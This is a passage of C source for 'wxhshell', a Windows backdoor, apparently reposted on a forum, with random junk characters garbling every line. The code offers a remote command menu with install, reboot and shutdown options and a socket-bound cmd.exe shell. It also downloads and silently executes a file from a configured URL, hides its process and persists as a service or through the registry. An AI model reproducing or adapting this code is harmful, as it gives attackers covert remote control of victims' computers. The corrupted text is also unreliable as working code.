    switch(cmd[0]) { (@ %XWg  
  _L*f8e8  
  // 帮助 #joF{ M{  
  case '?': { 2UU 2Vm_6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Fk4{p  
    break; C+/Eqq^(  
  } n!UMU^  
  // 安装 8`:M\*  
  case 'i': { #2Ac  
    if(Install()) H/^ ~<U#p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _, \y2&KT  
    else (g%JK3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5*JV )[  
    break; X!U]`Qh  
    } 6PiEa(  
  // 卸载 -/M9 vS  
  case 'r': { 9Tzc(yCY  
    if(Uninstall()) "NxOOLL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J*}VV9H  
    else ijvNmn1k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r@|R-Binz  
    break; E=;BI">.  
    } Xy[}Gp  
  // 显示 wxhshell 所在路径 Z -pyFK\  
  case 'p': { jmRhAJV  
    char svExeFile[MAX_PATH]; tegOT]|  
    strcpy(svExeFile,"\n\r"); c*.G]nRc  
      strcat(svExeFile,ExeFile); sEoZ1E  
        send(wsh,svExeFile,strlen(svExeFile),0); $|Q".dD  
    break; OfD@\;L  
    } NOF?LV  
  // 重启 |*%/ovg+  
  case 'b': { jZa25Z00  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OF-E6bc  
    if(Boot(REBOOT)) w>v5oy8s-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"kXNKV/n  
    else { >ysriPnQ  
    closesocket(wsh); .KFA218h*x  
    ExitThread(0); ?O!]8k`1$  
    } I_:t}3s  
    break; :L]-'\y  
    } NU|qX {-  
  // 关机 K1;z Mh  
  case 'd': { J=@hk@Nq#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !-KCFMvT  
    if(Boot(SHUTDOWN)) j?=VtVP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H9sZR>(^  
    else { $ b4*/vMr  
    closesocket(wsh); 'n>K^rA  
    ExitThread(0); $X`bm*  
    } Pg7>ce  
    break; e%pu.q\gK  
    } {V.Wk  
  // 获取shell Z/xV\Ggx  
  case 's': { /CIx$G  
    CmdShell(wsh); SrSG{/{  
    closesocket(wsh); 7Aqn[1{_O  
    ExitThread(0); s;s0}Td_1  
    break; )r=9]0=  
  } ]t*33  
  // 退出 :b"= KQ  
  case 'x': { \$'R+k-57;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :eSc;  
    CloseIt(wsh); OSU{8.  
    break; V:(y*tFA  
    } jh>N_cp  
  // 离开 :){)JZ}-95  
  case 'q': { 5xhM0 (  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $6W3EOl  
    closesocket(wsh); FU[*8^Z  
    WSACleanup(); 7@JjjV  
    exit(1); vxb@9 eb!H  
    break; B i'd5B5  
        } : -E,   
  } wc"9A~  
  } SK?I.  
VXiui'/(  
  // 提示信息 (m6EQoW^s+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^#2xQ5h  
} 3b e6p  
  } RZ*<n$#6  
#?_#!T|  
  return; 2v4W6R  
} V)=Z6ti  
?fB5t;~E  
// shell模块句柄 Xj%,xm>}!u  
int CmdShell(SOCKET sock) FzVZs# O  
{ lBS"3s384  
STARTUPINFO si; \]t]#D>0  
ZeroMemory(&si,sizeof(si)); 5~QhX22  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;r3}g"D@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Q~C4C-j  
PROCESS_INFORMATION ProcessInfo; ~H7!MC~K  
char cmdline[]="cmd"; H*GlWgfG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); : g 5(HH  
  return 0; N=q#y@L  
} uN8/Q2   
{ E^U6@  
// 自身启动模式 rjXnDh]MC  
int StartFromService(void) AH|Y<\  
{ '|_/lz$h  
typedef struct MBlBMUJk  
{ 5lGQ#r  
  DWORD ExitStatus; 7"#f!.E  
  DWORD PebBaseAddress; B4IBuS  
  DWORD AffinityMask; ,'u*ZB;  
  DWORD BasePriority; >[EBpYi  
  ULONG UniqueProcessId; w#sq'vo4%  
  ULONG InheritedFromUniqueProcessId; V n^)  
}   PROCESS_BASIC_INFORMATION; QPX`l0V  
Z4#v~!  
PROCNTQSIP NtQueryInformationProcess; S.1( 3j*  
7H4L-J3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P:qz2Hw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nX)f'[ 7  
g@Ld"5$^2  
  HANDLE             hProcess; RB IOdz  
  PROCESS_BASIC_INFORMATION pbi; 5} G:D  
yWNOG 2qAP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zz&vfO31J  
  if(NULL == hInst ) return 0; p3 e|j  
pcnl0o~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {tc57jsr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0Q`&inwh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j|mv+O  
Z&-tMai;  
  if (!NtQueryInformationProcess) return 0; v$;@0t:;#  
Je 31".  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lY8`5Uz  
  if(!hProcess) return 0; g>yry}>04%  
cv]BV>=E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V:OiW"/  
b4)k&*dfR  
  CloseHandle(hProcess); O:._W<  
)nOE 8y/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ctHEEFWm  
if(hProcess==NULL) return 0; < <sE`>)  
#jm@N7OZ  
HMODULE hMod; =DC 3a3&%  
char procName[255]; x)_r@l`$ix  
unsigned long cbNeeded; sBU_Ft  
N}DL(-SQ3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ' Rc#^U*n  
!9D1 Fa  
  CloseHandle(hProcess); p31oL{D  
>azEed<B  
if(strstr(procName,"services")) return 1; // 以服务启动 6} #"qqnx  
I|T7+{5z  
  return 0; // 注册表启动 l!:^6i  
} cJ2PI  
jM@?<1  
// 主模块 V'I T1~  
int StartWxhshell(LPSTR lpCmdLine) !3V{2-y$-  
{ l|q%%W0  
  SOCKET wsl; |mOMRP#'  
BOOL val=TRUE; :v)6gz(p  
  int port=0; r**f,PDZ  
  struct sockaddr_in door; X$^JAZ09  
6OtVaT=}<O  
  if(wscfg.ws_autoins) Install(); {E~Xd  
-?z\5 z  
port=atoi(lpCmdLine); ' %&z.{  
I0_Ecp  
if(port<=0) port=wscfg.ws_port; N571s  
x[x(y{&~  
  WSADATA data; u{Ak:0G7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iD714+N(  
]-bQNYKX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (;ADW+.`J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M)O [j}N  
  door.sin_family = AF_INET; 96}eR,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1qZG`Vz  
  door.sin_port = htons(port); 9@'4P  
hl]S'yr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i ?-Y  
closesocket(wsl); F&az":  
return 1; H %z/v|e6  
} SY T$3|a  
\z:<DsQ&  
  if(listen(wsl,2) == INVALID_SOCKET) { X!c?CL  
closesocket(wsl); w.^yP7:  
return 1; l'uOORI  
} $8g42LR'  
  Wxhshell(wsl); p9iu:MucD<  
  WSACleanup(); UP8{5fx'  
U=QA  e  
return 0; w & P&7  
]\dHU.i  
} t^U^Tr  
Ao"C<.gUYP  
// 以NT服务方式启动 2y%R:Mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BIj   
{ c\K<sM{  
DWORD   status = 0; 12OlrU  
  DWORD   specificError = 0xfffffff; 30d#Lq  
Mk5RHDh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vQHpf>o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y0RgJn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Xs]C|=W  
  serviceStatus.dwWin32ExitCode     = 0; 5v|EAjB6o  
  serviceStatus.dwServiceSpecificExitCode = 0; JC2*$qu J  
  serviceStatus.dwCheckPoint       = 0; u"Y]P*[k  
  serviceStatus.dwWaitHint       = 0; Q0>q:aj\  
'RLOV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CXAVGO'xw  
  if (hServiceStatusHandle==0) return; IaasHo\  
!_x*m@/  
status = GetLastError(); n&d/?aJ7a\  
  if (status!=NO_ERROR) s)w9%  
{ X<euD9?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {[^#h|U  
    serviceStatus.dwCheckPoint       = 0; Ep ">v>"  
    serviceStatus.dwWaitHint       = 0; bV6V02RF  
    serviceStatus.dwWin32ExitCode     = status; 2 Y+:,ud\  
    serviceStatus.dwServiceSpecificExitCode = specificError; ri=+(NKo-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); doLNz4W  
    return; wW5Yw i  
  } i/$SN-5}1  
,YB1 y)x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D^?_"wjW  
  serviceStatus.dwCheckPoint       = 0; Pa&4)OD  
  serviceStatus.dwWaitHint       = 0; u)~s4tP4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1<,/ -H  
} bE I!Ja  
s MZ[d\  
// 处理NT服务事件,比如:启动、停止 39D }  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4ZI_pf  
{ 3U;1D2"AE  
switch(fdwControl) kUbnVF5'  
{ CDCC1BG"  
case SERVICE_CONTROL_STOP: G Y-M.|%  
  serviceStatus.dwWin32ExitCode = 0; ti9}*8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XU9'Rfp  
  serviceStatus.dwCheckPoint   = 0; &t3Jv{  
  serviceStatus.dwWaitHint     = 0; w2zp#;d  
  { ] .5O X84  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '[f Zt#  
  } ~L'nz quF  
  return; f#OQ (WTJE  
case SERVICE_CONTROL_PAUSE: ZqK]jT6V/X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i@,]Z~]  
  break; T4GW1NP  
case SERVICE_CONTROL_CONTINUE: E474l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ( 3;`bvYH"  
  break; >S.91!x  
case SERVICE_CONTROL_INTERROGATE: =x H~ww (D  
  break; 2C1+_IL   
}; %),!2_ x~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uvv.WbZ  
} GYoseqZM  
.'lN4x  
// 标准应用程序主函数 r\xXU~$9v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KY+]RxX  
{ <'2u a  
j04/[V)  
// 获取操作系统版本 x+:zq<0|  
OsIsNt=GetOsVer(); LdEE+"Jw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #U@| J}a  
VQ<5%+  
  // 从命令行安装 VGZ6  
  if(strpbrk(lpCmdLine,"iI")) Install(); UH20n{_:  
Ub)M*Cq0(o  
  // 下载执行文件 aQ|hi F}  
if(wscfg.ws_downexe) { bU+9Gi@v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tIGs>, a=  
  WinExec(wscfg.ws_filenam,SW_HIDE); xa#gWIP*  
} N-%#\rPq.  
(\vXA4Oa,  
if(!OsIsNt) { . r `[  
// 如果时win9x,隐藏进程并且设置为注册表启动 euZ I`*0  
HideProc(); -3vh!JMN  
StartWxhshell(lpCmdLine); x+^Vg3 q  
} 4_Y!elH)  
else 5;Ia$lm=y  
  if(StartFromService()) N-QCfDao  
  // 以服务方式启动 `~nCbUUee  
  StartServiceCtrlDispatcher(DispatchTable); 8 u:2,l  
else 61:9(*4~!F  
  // 普通方式启动 40.AM1Z0f  
  StartWxhshell(lpCmdLine); hdg<bZk:  
%3G;r\|r]  
return 0; P) 1 EA;  
}
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只看该作者 1 发表于: 2006-10-10
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